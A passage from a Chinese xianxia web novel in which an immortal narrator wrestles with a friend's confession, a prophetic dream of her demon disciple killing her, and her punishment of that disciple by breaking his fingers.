“其二为,前几日我的分化开始不停转换,我的身体无法适应这种转换,虚弱至极,将我爹与我娘吓坏了。”
“不过我族女子身体分化不稳定是常态。”
我了然:“原来如此。”
如此一说,我便明白了为何当初云恒的爹娘都希望她能够分化成男子,原是因为在他们一族中,男子的身体会更稳定些。
我还在思索,云恒骤然开口问我:“封镜,若我分化成男子,你还会与我做朋友,还会与我像如今这般好吗?”
我不明白为何云恒会突然问我这个问题,朋友自是不挑男女的。
我道:“自然,我们会一直都是好友。”
“不过你知晓我不能与男子接触,若真如此,想来你是不能够再与我贴身接触了。”
云恒轻轻“嗯”了一声。
她又问我:“小镜儿,你喜欢我吗?”
云恒说这话之时,通灵音中的声音小了些,似一阵凉风吹拂而过,叫我浑身一颤。
我愣住了,思虑后答道:“喜欢,若是不喜欢,我为何这些年会与你做朋友?”
云恒轻声:“也是。”
我不想再与她说这些,方才问我的问题叫我觉得奇怪,就连这个所谓的“喜欢”也让我觉得奇怪。
我岔开话题:“你的身体可好些了?”
云恒道:“好多了,不过这种情况想来会反反复复,不知下一次多久会这样。”
云恒又轻声问我:“小镜儿,你会觉得我是怪物吗?”
我道:“自然不会,这天上什么没有,我像是见识这般浅薄的仙吗?”
我道:“若分化成男子也未尝不可,毕竟,我可从未见过你喜欢哪个男子的,若是分化成男子后发现自己喜欢女子呢?”
我这话只是开玩笑的,谁知云恒却道:“那若是有一日我分化成男子后,喜欢的是你呢?”
“封镜,你会觉得我恶心吗?”
我知晓云恒这个问题是认真的,方才她都只是唤我“小镜儿”,这时候却直呼我的名字。
我愣住了,我从未想过这些。
我问:“云恒,你是与我开玩笑的吧?”
云恒不说话。
我又道:“其实我不知道,但说恶心,大概是不会的。”
“若是真喜欢我,我会觉得你有些可怜。”
“若是有一日我们成了道侣,你可知你需要经历的是一辈子都不能够触碰我,如此,你能接受?”
我想要打消她这个念头,叫她知难而退。
云恒立刻道:“我自然能接受,就算不能触碰又如何,我与你相处百年,没有人比我更了解你,我会对你很好,我会……很爱你!”
我道:“我可不想,若是有朝一日我当真与谁在一起了,我希望那是一个我能触碰身体的人。”
话音落到此处,那头的云恒沉默了。
而我想到的第一个人,是段灼。
可我从未想过会与段灼结为道侣,毕竟这听起来有些荒谬,且违背我的想法。
我又想到我回来这么些天,段灼竟然还未回来,我心中多了几分作为师尊的愧疚。
我不知再说些什么好,只得安慰她这几日好好休息,别想这么多。
我与云恒之间再无别的要说。
不知谁先开口说了句有事,通灵音便挂断了。
我松了口气。
若是我能够与一个人做许多年的朋友,不对这人产生别的心思,那以后我多半也不会喜欢上这个人。
*
几日后的雨夜,段灼终于回来了。
那时我正准备入睡,浑身被雨水浸湿的少年,如一张弓,伫立在殿外一整夜。
我听着雨声和轰鸣的雷声,听着他微弱无比的呼吸声,就这般过了一夜。
我心中有些不安,总是害怕他会敲开我庭院的门,神色幽怨地看着我。
可段灼并未这样做。
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>晨间鸡鸣,我睁开眼,屋外雨停了,段灼也消失不见了。
我起身步于庭院外,那桃花精环绕而上,问道:“女仙昨夜睡得可还好?”
照理来说,昨夜那样的雨,这地上当是湿润的,是布满残缺桃花的,可地上除了有些湿润外,干干净净一片。
我道:“自然一切都好。”
自我回来以后,她似乎日日都担心我的身体状况,总是问我今日可好,昨日可好?
今日,她的神色倒是有些紧张,且还有些欲言又止。
我问道:“还有何事?”
桃花精又问:“女仙觉得今日成这庭院有何不同?”
我暼了一眼,大概知晓她的意思是想告诉我,有没有注意到有人来过。
“我知道你想说什么,可是那妖族少年来过?”
桃花精立刻将脑袋点得跟骰子似的。
我又道:“他来其实并不稀奇,毕竟是我的弟子。”
桃花精又惊讶了,她颤抖得整个桃花树都在轻轻颤抖,就像是我说了什么惊天动地的事。
“他他他他竟然是女仙的弟子!女仙从未与我说过!”
我:“……”
其实段灼也曾在白日里来过我的寝殿中,不过非常凑巧的是,段灼每次来,桃花精都在睡觉。
于是乎,她不知这是我的弟子,只当是偷偷潜入我寝殿中的小妖,且我认识这小妖,他的行径似乎都得我的默许。
但凡她白日里少贪睡一些,都能知晓段灼是我的徒弟。
桃花精不满道:“女仙这是什么眼神!一副我很是无知的样子!我可是个小精怪,我纵然再无知也是要面子的!”
我笑道:“究竟是谁与你说的,小精怪也是要面子的?”
桃花精理直气壮道:“并无人与我说!”
我被她这副模样逗得开怀大笑。
我道:“不然,你为何觉得我与他什么关系都不是,还能够应允他进出我的寝殿?”
桃花精思索后道:“许是……女仙喜欢他?”
我:“?”
云恒也曾与她说过差不多的话,我实在是不明白,我究竟做了什么事,叫他们会觉得我喜欢段灼。
我反驳道:“绝无可能!”
桃花精道:“为何绝无可能?月老爷爷都说了……”
她清了清嗓子,一本正经摇头晃脑道:“感情之事,却非人力而择之,或成兰因絮果,或成幸福美满,万般皆命。”
我嗤笑问她:“那你可知其中的‘兰因絮果’四字为何意?”
桃花精绞尽脑汁道:“如兰花馨香的相遇,如柳絮四散的结果?”
我道:“歪打正着。不过千千万万凡人都求不来的姻缘线,见不到的月老,竟日日给你们这些小精怪讲些神啊鬼啊的姻缘道理。”
桃花精听不懂后半句,只停了前半句觉得我在夸赞她,昂首挺胸叉腰,好不傲气:“哼哼。”
这时,守门弟子道:“师尊,段师弟求见。”
桃花精问我:“他口中的“段师弟”是女仙那位妖族弟子吗?”
我点头:“是啊。”
“让他进来吧。”
桃花精又问:“女仙,你的脸色怎么看起来有些怪怪的?”
我叹了口气道:“等以后你到了我这般处境,你便能明白其中缘由。”
桃花精又虚心请教道:“我要如何才能到女仙这般处境呢?”
51. 第五十一章
还不等我回桃花精的话,少年已经走到我面前了。
他如往日般笔挺,一身干净的玄衣,虽看起来规矩得体,但发间还带着些雨水后的潮湿。
他昨夜归来,在我的寝殿外站了一夜才离去。
段灼朝我行礼道:“弟子段灼,见过师尊。”
我点头,并未再提起别的,只道:“回来了?”
段灼“嗯”了一声。
尴尬的氛围在我与他之间蔓延开来。
我问:“何事寻我?”
这时,桃花精在我耳边道:“女仙,我刚才想与你说,昨夜他在庭院中站了一宿。”
我小声道:“我知道。”
“哦……女仙知道。”
我与段灼都不说话,桃花精觉得无趣,便打着哈欠回到桃花树上睡觉了。
我总觉得段灼有些欲言又止。
果然,沉默许久后,他道:“师尊,雁山镇之事,我知并非师尊所愿,我会当做……从未发生过。”
我看着被他咬得血红的下唇,知晓这话并非轻易脱口而出。
而是他下了许多勇气才能说出来的。
既如此,那我便不用再多说什么,只肖装傻道。
“我与你之间本就什么都没发生。”
我的眼神落在段灼神色,他的神色有瞬然不甘,拳心紧握后又松开,他沉声规矩道。
“是。”
不过我还有问题想问段灼,这几日不少神仙来碧水瑶台,送我些奇珍异宝,说的却都是“杀妖有功”,可我分明记得,这妖分明最后是段灼杀的。
我问道:“白蛇是在你手中断气的,可为何他们都说,是我杀的?”
段灼道:“师尊叫他只剩最后一口气,而我所用的方法,亦是师尊教授予我,也是师尊轻而易举能做到的,如何不是师尊杀的?”
我从来不知,段灼竟如此慷慨大方。
若是换成其他弟子,他们早就将此功劳往自己身上揽。
我看着他这副乖顺的模样,不禁又问:“白蛇让你与他狼狈为奸,教唆你杀了我,你为何并未这样做?”
他抬头反问我:“我为何要这样做?”
他的神色叫我看出些不可置信来,显然我这样的想法有些伤害到他了。
是啊,他为何要这样做呢?
因为我觉得,段灼恨我,甚至恨不得我去死。
但是我却不能够这样说。
我道:“三界众生皆有自己的私欲,你不觉得白蛇提出的条件太诱人了?”
段灼的眼若一潭死水,我不知他究竟想要与我说些什么。
我想了又想,觉得这些时日我从段灼脸上看到的伤心是最多的。
段灼道:“我曾与师尊保证过,我不会忘却那日所言。”
我仔细思索了一下段灼口中的“那日所言”究竟是什么,再往后我才明白,是那日我说,让他不要忘记不会伤害我的事。
他的眼泪滚落下来,有时一副楚楚可怜的模样:“在师尊心中我是这种人吗?”
如今看着段灼的眼泪滚滚而下,我骤然意识到,我连他的眼泪也不敢看的。
可我究竟在怕些什么,我却不太明白,我心中原本早就为自己的行径找好了无罪的理由。
我不解道:“其实有时我不知你究竟在难过什么。”
我害怕段灼的情绪,亦无法共情到他的情绪,他的难过只会叫我觉得不解。
或者像是段灼说的那样,我本来就是没有心的。
段灼一字一句道:“师尊明明……知道。”
他的字句如呕心沥血,逐字逐句都带着滚烫又痛苦的血味。
我可要说出一句安慰的话来?
他分明看起来都这样难过了。
可最后我什么都不曾说,只说了三个字。
“我不知。”
段灼走了,他的背影像一阵风,拂动着我的发丝,亦拂过庭院中的桃花。
从前我觉得,伤害段灼会叫我的心变得轻松愉悦。
我以为是因为预知梦带来的痛苦得到了疏解。
可如今我发现,纵然是伤害他,我也什么都无法得到。
我微微仰面,仰望在碧水瑶台对岸,我爹娘的衣冠冢。
从儿时走到现在,我总是一个人,遇到不解之时,总会望向那边思索一番。
可许多问题我仍旧得不到解答,或是思考不出答案。
正如今日,我与段灼之间的关系。
桃花精也出来了,她绕在我身边,问道:“女仙怎么了?方才只是有一些愁,如今看来是愁容满面了!”
我道:“无事。”
*
段灼离去不久,北斗星君身边的神使便来了。
仙鹤神使道:“离去万魔窟还余五日,还望女仙准备妥当,前去镇守。”
如今镇守万魔窟的是北斗星君,轮值在即,他需派人敦促我前去镇守,防止妖魔钻空子出逃,亦需要与我交接万魔窟的近况。
我点头:“我记得。”
仙鹤神使拱手道:“女仙记得便好,那我就不多耽搁了,告辞。”
再晚些,我将此事交由一个弟子去办,让他询问哪些弟子自愿去的,再依照修为筛选。
当然,段灼不在其中,毕竟他的修为聊胜于无。
*
隔日,云恒传来通灵音。
“小镜儿,我昨日去套了我爹的话,不过……你也知晓,我爹他不大愿意提起伯父伯母,亦……不愿意提起你,他昨日将我臭骂了一顿,我并未问出有用的信息来,想来是帮不上你的。”
云恒家教甚严,自我爹娘仙陨后,她爹便不允她与我来往,云恒都是偷偷找我的。
我心中了然:“无事。”
“不过,小镜儿你不觉得,我爹越是这个反应,越是有问题吗?”
这倒也是,只是我不好这样说她父亲。
云恒又问我:“小镜儿,你确定伯父伯母仙陨在仙魔大战中了吗?”
我一怔,在我年幼之时曾思考过这个问题。
那时候,我才得知他们仙陨的消息不久,不相信他们死了,只能凭借着孩童的倔强,觉得他们都是很厉害的仙,不会就这般轻易死去,总是期盼着某一日他
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们会突然回来,说这些年的消失都是骗我的,是与我开的玩笑。
可我等了近百年,早就已经接受了这个事实。
云恒提出这个问题,我有些本能抵触,花了很长的时间才愈合的伤口,突然被人撕开。
我心中又堵又疼。
我点头道:“嗯。”
云恒又问我:“有何证据?”
我道:“并无证据,可我找不到他们还活着的证据。”
通灵音那头的云恒声音渐收,我又听见她轻声道:“是啊,只要还活着,自然就会留下痕迹。”
“且伯父伯母那么疼爱你,若是还活着如何会不来见你?”
“……”
云恒约莫是听出我情绪低落,便又提起别的,想转移话题。
可我本就心不在焉,无论她说些什么,我只是搪塞两句,大概是觉得有些无趣,不多时她便找理由挂断了通灵音。
可她所言的字句,却如同铁烙,深深烙在我经年过后,才初初愈合的伤口处。
*
夜里,我做了许多个梦。
梦到了我幼时生病发热,听见我爹与我娘在说些什么,我微微睁开眼,却只能看见不远处摇曳的宝莲烛火灯托,还有其上燃烧着明亮的火焰,如生命般猎猎燃烧跳动着。
莲灯后是一扇窗户,衬着他们的身影。
不知过了多久,有人抚摸我的额心,指尖温热柔软,想来是我娘亲的手,叫我在梦中眼眸湿润竟溢出些泪来。
我娘又柔声说了些什么,我的眼前出现一团光亮,像是从我的身体中拿出来的,桌前的宝莲灯愈发明亮,烛火恍然,灼烧着我的眼。
*
我又梦见。
我去雁山镇临行之前,西王母与我说莫要再往北去,我看着昆仑山巅的点点冰雪,心中的疑虑越发深了,赤水的北方究竟有什么?
我站在雁山镇前,一条路是通往雁山镇中的,另一条路是去往北方的。
*
我又梦见,我与段灼的以后。
我梦见段灼成了魔尊,杀了无数人和仙。
而我成了三界的罪人,过上了人人逐之,东躲西藏的日子。
因为我的徒弟段灼成了嗜血残暴的魔尊,而我这个做师尊的并未起到教化作用。
他们都在找我,都想杀我。
在梦中,纵然是如此,我还是一样如预知梦中那样喜欢着他。
我梦见再往后,段灼在魔宫中妻妾成群。
而他与我说,念及我从前对他有教化之恩,便可以借我在魔宫中躲一段之时日。
梦中的段灼坐于高台之上,与我如今所见那小心翼翼的少年截然不同。
而段灼所言的教化之恩都是骗局,他无比憎恶我,我进入魔宫之后,他撕开伪善的面具,将我关在小黑屋中,折磨致死。
*
梦醒了,我宛若在地狱中走了一遭。
后背已是岑岑冷汗,我神色恍惚,大口喘着气。
好消息是,如今我做的这些改变了我未来的结局。
坏消息是,事情并未朝好的方向发展。
52. 第五十二章
第一个梦是我从前的经历。
第二个梦是旁人所言和云恒昨日的话对我的心理暗示。
如今我醒来,仍然不懂赤水之北究竟有什么?
我踏入书阁中,企图从古书典籍找到这个答案。
我儿时此处曾有一卷我儿时看过的山海志,其上记载着四海八荒,五湖九州奇闻异事,如今却不知为何,竟也寻不到。
*
最后一个梦,是我不曾经历的未来,这个梦与上一次做的预知梦一般真实像真的发生过。
我的未来似乎改变了。
我从书阁中出来,望着庭院外生机勃勃的桃花树,想到段灼曾偷偷来庭院中收拾一地残花。
现在只是觉得恶心和反胃。
原来他所做的那些都是假的,无论他看起来多么喜欢我,以后我都会死在他手中。
我有些恨他。
这种恨意,是一种类似于无论如何做都改变不了故事结局的,无能狂怒的恨。
是一种极度不甘的恨。
纵然是我恨他,厌恶他,对他不好,难道不是因为他爹先杀了我父母吗?
难道不是因为以后他会杀了我吗?
我回想起,在梦中成为魔尊的段灼屠戮碧水瑶台,我的弟子全部死于他的剑下。
我回想起,原本作为神仙,受人尊敬的自己成了人人喊打的老鼠。
我身体的每一寸都在颤抖、在抗拒,我惨白着脸,自虐般回忆着自己在梦中被段灼折磨致死,浑身没有一处好皮肉的模样。
前几日回之时我还愧疚,我还在想万魔窟这次不带他了。
我甚至侥幸,或许就算他不死,也不会对我产生影响。
如今想来,我与段灼只有一个能够活下来。
*
而后我交代下去择人的弟子来寻我,他将初拟名单递到我手中。
我大致翻看,其中并无段灼的名字。
我合上折子道:“将段灼的名字加上。”
那弟子的神色稍显迟疑:“可是师尊……”
他抬头看向我,似乎觉得我神色不大好,便并未再说出后面的话,只是又道:“是,师尊,我即刻去做。”
第二日,他将那份带着段灼名字的名单递到了我手中。
我大致翻看一遍,与他道:“就按这个去办。”
他拱手道:“是。”
此时,离去万魔窟只余三日。
我也落了个清闲,段灼并未来找过我,亦并未偷偷来过我的庭院。
我与他之间似乎达成了某种只将对方当成师尊或徒弟的默契。
我以为这样的时光会持续到去万魔窟之日,谁知再往后便出事了。
不过这样的事却是我之前埋下的种子造成的。
第二日晨间,有弟子与我说,段灼比武之时,将一名弟子的手指折断两根了。
我与他一同去了校场。
一进去便听见一阵痛苦的哀嚎,那名被折断指尖的弟子四周围着其他弟子。
那些弟子的神色不似担忧,更似在看戏。
段灼颓然站在人群之外的一旁,神色恍惚,手中握着剑。
见我来了,才将他那有些淡的神色投在我身上,我看着他眼眸微微亮,想来是又想从我身上期待得到一些好的结果。
段灼像一只狗,即便次次都打他,却也次次都希望我能轻轻抚摸他的头,说一声“没事。”
我比这些弟子都了解段灼,至少我知晓,他不会轻易伤害他人。
弟子们见我来,齐齐跪地道:“见过师尊。”
“起。”
被他们围在中间的那名弟子右手的两只手指耷拉着,他看向我,正在哀嚎,这嚎叫声比山后的鸡叫还叫人厌恶。
他凄声道:“师尊……师尊……我的手!都是这妖族弟子所为,求师尊给弟子主持公道!”
我捏了一个诀,为他止住了疼痛,又通灵唤来了医仙,为他医治。
处理完这些,我走到段灼面前,冷声问道:“为何屡教不改?我早已说过,点到为止,切莫较真伤及同门。”
段灼看向我的神色仍然倔强,那双狭长的眸落在我身上,他的神色淡淡的,这种淡中似乎带着些伤心。
宽阔的校场,他一身玄衣立于人群之中,与周遭身着天蓝色蓝白校服的人群形成了鲜明的对比,所有弟子将他围得水泄不通。
风吹着他乌黑的发,缄默的神色,额间微微散发着红光的朱砂是我留在他身上的唯一一样东西。
如今我身处上位,他才是那个人人伏诛的妖物。
我睨着他,又道:“说话。”
段灼闷声:“事出有因。”
我问:“事出有因便能伤及同门?段灼,我当真是对你太好了些,才叫你如此放肆?”
段灼看着我,他向来都不会作出过多的解释,只是问我:“师尊当真对我好吗?”
我道:“那我可有对不住你之处?”
我越过人群的目光落在他身上,如此众目睽睽之下,我何尝不怕段灼发疯将我与他那些龌龊事全部抖出来。
我终于意识到,我还是想要杀了段灼的,杀了他,这些事就不会有他人知晓,我便不会这般胆颤心惊。
段灼神色亦如往日那样冷,他终是摇头道:“师尊并无对不起我的地方。”
我问:“这手是你所为?”
段灼道:“是。”
我又问:“如何折断的?”
段灼:“踩断的。”
如此侮辱人的方法,他亦做得出来。
可我知晓,被他折断手指的弟子是那日诬陷他偷窃的,他们二人之间,很难说没有些仇恨在其中。
我问:“为何这样做?”
“踩断的是哪两根手指?”
段灼不说话了。
旁边的
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弟子补充道:“回禀师尊,是右手的中指与无名指。”
我走到了段灼面前,人群散开来,我看着他那张无论是梦里还是梦外都叫我无比熟悉的脸。
我想到在第二个预知梦中,段灼将我囚禁在小黑屋中,日日夜夜折磨我,我看着眼前这样与梦中毫无差别的脸,却叫我心中的恨意愈发浓烈。
段灼抬眸看着我,他的神色说不上是倔强还是茫然,双手颓然置于地上,我微微用力,听见“咔嚓”一声清脆的响动,原本窸窸窣窣的人群骤然安静。
面前的段灼缓缓抬头,他紧蹙眉心,神色吃痛而隐忍,看向我的眼中蓄满了泪。
我轻飘飘与他道:“凡人都知晓一报还一报,如今折断的手指就当是你还给他的。”
段灼耸着双肩,看着我,他的两只手指耷拉着,想来短时间之内是无法再用了。
周遭的弟子知晓我一向“喜爱”段灼,喜欢往他房中送一些奇珍异宝,甚至还单独带着他出去历练。
可如今他们应当会明白,我对段灼并无特殊之处。
或者他们心中会想,我这个做师尊的当真狠心。
段灼那双猩红的眼直直落在我身上,周遭似乎什么都没有,他的视线中像是只有我一个人。
我以为段灼会说一些难听的话,谁知他却用另一只手轻轻包裹住那两只被我踩断的手指,再重重一捏。
他将自己的骨头捏碎了。
他的泪奔流不息,他的声音中也带眼泪,那只手指如瘫软之物,耷拉着。
段灼的身体在轻轻颤抖,他轻声问我:“那师尊,我这些年失去的,究竟有谁能还给我,谁能对我一报还一报?”
我无视了他所说的话,或者说是逃避了。
我同样唤来了医仙为段灼诊治,只是惩罚,却并非真的想叫他受伤,比我的动作更狠的是段灼自己对自己的做法。
我想段灼如今是恨我的。
他想将这种痛苦加深,将这种疼痛记得更深刻一些。
晚些,弟子问我,那段灼之后可还要去万魔窟?
我道:“去,再说只是两根手指不影响拿剑。”
*
临行那日,弟子们皆整装待发,都因此次去万魔窟而兴奋着。
这是他们第一次去万魔窟,亦是第一次与我一起下山。
我的神色扫过那些弟子,双目定格在人群之外的段灼身上,他的手上还包着纱布,如往日般沉默不语,一身玄色衣裳。
万魔窟离仙界远,离人界却不远,去万魔窟需先到人界。
若是寻常时候,肯定是他们一行弟子步行去。
可我作为师尊,要与他们同去,便不能步行。
于是一行人预备着御剑飞行去。
能够去万魔窟的都是碧水瑶台中的佼佼者,不存在不会御剑飞行的情况。
但是这其中有一人不会御剑飞行,那便是段灼。